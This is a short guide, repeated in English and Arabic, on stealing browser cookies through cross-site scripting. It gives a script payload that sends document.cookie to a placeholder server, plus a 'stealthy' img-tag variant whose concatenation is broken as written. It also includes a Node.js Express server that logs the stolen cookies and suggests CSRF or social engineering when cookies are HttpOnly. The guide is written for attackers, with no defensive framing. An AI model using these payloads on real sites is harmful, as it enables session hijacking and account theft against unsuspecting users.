XSS Cookie Exfiltration Guide

English Version#

Steps to retrieve cookies via XSS:#

1. Identify the XSS point

   • Example: comment field, user input, query param, etc.
   • Ensure the HTML/JS injection works.

2. Simple payload to get cookies

<script>
alert(document.cookie);
fetch('http://YOUR_SERVER/cookie?c=' + document.cookie);
</script>

• Replace YOUR_SERVER with your server to receive cookies.

3. Alternative using img tag (stealthy)

<img src="http://YOUR_SERVER/c?c=" + document.cookie />

• Works well in environments blocking <script>.

4. Server-side collection

   • Minimal Node.js example:

const express = require('express');
const app = express();
 
app.get('/c', (req, res) => {
    console.log(req.query.c); // cookie here
    res.send('ok');
});
 
app.listen(80, () => console.log('Listening...'));

5. Note: If cookies have HttpOnly, they cannot be accessed via JS. Other methods like CSRF + XSS or social engineering are needed.

النسخة العربية#

خطوات الحصول على الكوكيز عبر XSS:#

1. تحديد نقطة XSS

   • مثال: حقل التعليقات، إدخال المستخدم، query param، إلخ.
   • تأكد أن حقن HTML/JS يعمل.

2. رمز بسيط لاستخراج الكوكيز

<script>
alert(document.cookie);
fetch('http://YOUR_SERVER/cookie?c=' + document.cookie);
</script>

• استبدل YOUR_SERVER بالخادم الخاص بك لاستقبال الكوكيز.

3. بديل باستخدام img (خفيف)

<img src="http://YOUR_SERVER/c?c=" + document.cookie />

• يعمل جيداً في بيئات تمنع <script>.

4. جمع البيانات على الخادم

   • مثال Node.js بسيط:

const express = require('express');
const app = express();
 
app.get('/c', (req, res) => {
    console.log(req.query.c); // الكوكيز هنا
    res.send('ok');
});
 
app.listen(80, () => console.log('Listening...'));

5. ملاحظة: إذا كانت الكوكيز تحتوي على HttpOnly، فلن تستطيع الوصول إليها عبر JS. تحتاج لطُرق أخرى مثل CSRF + XSS أو الهندسة الاجتماعية.